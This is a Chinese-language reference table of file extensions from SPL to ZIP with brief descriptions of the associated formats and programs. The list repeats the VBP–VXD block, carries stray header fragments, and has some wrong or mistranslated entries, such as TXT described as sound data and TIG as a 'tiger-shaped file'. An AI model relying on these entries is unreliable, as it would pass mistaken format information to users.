SPL Shockwave Flash对象;DigiTrakker抽样
SQC 结构化查询语言(SQR)普通代码文件
SQR 结构化查询语言(SQR)程序文件
STR 屏幕保护文件
SWA 在Macromedia导演文件(MP3文件)中的Shockwave声音文件
SWF Shockwave Flash对象
SYS 系统文件
SYW Yamaha SY系列波形文件 扩展名 说明
TAZ UNIX gzip/tape档案
TGA Targa位图
THEME Windows桌面主题文件
THN Graphics WorkShop for Windows速写
TIF/TIFF 标签图像文件格式(TIFF)位图
TIG 虎形文件,美国政府用于分发地图
TLB OLE类型库
TMP Windows临时文件
TOL Kodak照片增强器
TPL CakeWalk声音模板文件;DataCAD模板文件
TRM 终端文件
TRN MKS源完整性工程用法日志文件
TTF TrueType字体文件
TXT ASCⅡ文本格式的声音数据
TXW Yamaha TX16W波形文件 扩展名 说明
UDF Windows NT/2000唯一性数据库文件
ULT Ultra Tracker音乐模块(MOD)文件
URL Internet快捷方式文件
USE MKS源完整性文件
UWF Ultra racker波形文件 扩展名 说明
VBP Microsoft Visual Basic工程文件
VBW Microsoft Visual Basic工作区文件
VBX Microsoft Visual Basic用户定制控件
VCT/VCX Microsoft FoxPro类库
VDA Targa位图
VIR Norton Anti-Virus或其他杀毒产品用于标识被病毒感染的文件
VIV VivoActive Player流视频文件
VSD Visio绘画文件(流程图或图解)
VSL 下载列表文件(GetRight)
VSS Visio模板文件
VST Targa位图
VSW Visio工作区文件
VXD Microsoft Windows虚拟设备驱动程序
VBP Microsoft Visual Basic工程文件
VBW Microsoft Visual Basic工作区文件
VBX Microsoft Visual Basic用户定制控件
VDA Targa位图
VIR Norton Anti-Virus或其他杀毒产品用于标识被病毒感染的文件
VQF Yamaha Sound-VQ文件(可能出现标准)
VSD Visio绘画文件(流程图或图解)
VSL 下载列表文件(GetRight)
VSS Visio模板文件
VST Targa位图
VSW Visio工作区文件
VXD Microsoft Windows虚拟设备驱动程序 扩展名 说明
W3L W3Launch文件
WAB M icrosoft Outlook文件
WAD 包含有视频、玩家水平和其他信息的DOOM游戏的大文件
WAV Windows波形声形
WBK Microsoft Word备份文件
WCM WordPerfect宏
WDB Microsoft Works数据库
WFM Visual dBASE Windows表单
WFN 在CorelDRAW中使用的符号
WIL WinImage文件
WIZ Microsoft Word向导
WLL Microsoft Word内插器
WMF Windows元文件
WOW Grave Composer音乐模块(MOD)文件
WP WordPerfect文档
WPD WordPerfect文档或演示
WPF 可字处理文档
WPG WordPerfect图形
WPS Microsoft Works文档
WPT WordPerfect模板
WR1 书写器文档
WRK Cakewalk音乐声音工程文件
WRL 虚拟现实模型
WRZ VRML文件对象 扩展名 说明
X AVS图像格式
XAR CorelXARA绘画
XBM MIME“xbitmap”图像
XI Scream Tracker设备抽样文件
XLA Microsoft Excel内插器
XLB Microsoft Excel工具条
XLC Microsoft Excel图表
XLD Microsoft Excel对话框
XLK Microsoft Excel备份
XLL Microsoft Excel内插器文件
XLM Microsoft Excel宏
XLS Microsoft Excel工作单
XLT Microsoft Excel模板
XLV Microsoft Excel VBA模块
XLW Microsoft Excel工作簿/工作区
XNK Microsoft Exchange快捷方式文件
XPM X位图格式
XWD X Windows转储格式
XWF Yamaha XG Works文件(MIDI序列)
X16 宏媒体扩展(程序扩展),16位
X32 宏媒体扩展(程序扩展),32位 扩展名 说明
YAL Arts Letters剪贴艺术库 扩展名 说明
Z UNIX gzip文件
ZAP Windows软件安装配置文件
ZIP Zip文件